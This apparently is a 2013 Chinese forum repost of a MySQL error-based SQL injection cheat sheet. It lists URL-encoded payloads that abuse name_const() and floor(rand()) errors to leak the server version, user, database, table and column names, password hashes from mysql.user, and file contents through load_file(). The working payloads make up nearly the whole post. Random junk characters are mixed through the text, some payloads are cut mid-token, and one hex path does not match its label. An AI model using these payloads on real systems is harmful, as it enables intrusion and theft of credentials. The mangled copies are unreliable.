本帖最后由 Nightmare 于 2013-3-17 14:20 编辑
O4 _3 E, a$ w, Y
/ J: o! \# C/ Z# p- K, }5 s! l5 t& e: ?1 \5 a3 X5 j' N/ c4 d, ?
Mysql暴错注入参考(pdf),每天一贴。。。" a2 _+ b. O4 R2 e. B( ~# P( e
9 U ]1 ^& W5 c) rMySql Error Based Injection Reference
, R2 E* ?9 H3 k! V C% K- N[Mysql暴错注入参考]6 a/ m$ C3 ?5 h/ w$ S8 ?$ u! R2 |
Authornig0s1992; [# A6 W" Q( W0 E5 a
Blog:http://pnig0s1992.blog.51cto.com/
. ^4 I9 G) g/ d; F& g$ K, v M6 I% BTeAm:http://www.FreeBuf.com/
) @+ c6 H/ k0 ]4 M: OMysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功0 r& d3 y7 H% V- ^" L# l9 ^# a5 [
小部分版本使用name_const()时会报错.可以用给出的Method.2测试: k2 X6 z/ G: ~3 @9 H, D
查询版本:, m$ q( k3 P) K) V5 e& [( E
Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+7 t. [4 o& I. G
join+(select+name_const(@@version,0))b)c)" s4 G( A; @: C/ L: P5 A
Method.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro) V% r$ U! `) l0 b- T2 j
up by a)b)
3 G. i# p8 k; w$ V+ W+ U7 E查询当前用户:( o( ?/ O. I( s |/ r
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)3 T7 \9 a2 ?/ m% L
Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r1 O* l$ |, s/ z3 X4 ]1 E5 G
and(0)*2))x+from+information_schema.tables+group+by+x)a)0 {9 \/ B' ]' r- f
查询当前数据库:
5 B4 ]2 l2 @' `9 h! WMethod.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
) h1 b& ^9 M& ]# J0 [, a" s6 h4 CMethod.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo% |* v/ c2 k6 m
or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
2 T2 s; A7 G. Y; y依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+
% H, g2 L7 ?( k: Q& o. ]$ mLIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n
U5 {/ |! C4 c( X( B顺序替换
4 J$ O. [/ Z) E M爆指定库数目:
4 j: b1 S$ x \2 wand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
- s. g5 {9 ?+ g, p" Gable_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group
6 J# L" w, o& |3 @: n+by+x)a)+and+1=1 0x6D7973716C=mysql
/ S, f, s; Z/ z$ V# h3 D, r依次爆表:, }3 a' a& W1 y4 ?& m
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t$ S1 j B* g5 d6 E
able_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
3 x* J9 S1 c& E4 f$ ^' Ibles+group+by+x)a)+and+1=1
& K9 Y5 m- H. g, [) Q6 D0x6D7973716C=Mysql 将n顺序替换4 a& X) K3 |9 h5 D3 N
爆表内字段数目:
6 @; J' b) X+ m% s v4 x' hand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
$ K4 w$ @0 H6 }+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran1 P4 s: P- U% q4 K% y0 f; I* R
0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
8 Z f9 H7 D% @+ e: a/ _依次爆字段:
# G# k. ^: J5 u/ q, H' O( E( t$ Hand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
9 @- `# o( N7 V7 H( E! [/ ]+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1
0 d2 L6 z8 ~; oloor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1 将n顺序替换! D& `7 m8 s3 p
依次暴内容: _5 M6 z9 [( G2 D6 g9 A. e! r
and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche4 ]) b3 z8 S8 R) g( X
ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1* j, L6 U( e: V+ T
将n顺序替换- T' i3 w" Q1 m; C
爆文件内容:
( \3 _# \3 t( b# |and+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a
( i' I$ A: q' g: O3 Ffrom+information_schema.tables+group+by+a)b) - i! M, z5 `9 D, x" n- w+ V
0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节1 V: |6 b* { f/ ?
Thx for reading.; @5 \+ R5 y; T Y
" @+ s6 U4 \& ^4 P4 u p3 d( n不要下载也可以,
5 V: o2 p2 ?7 u" s2 P C* C* Z; O4 f' S |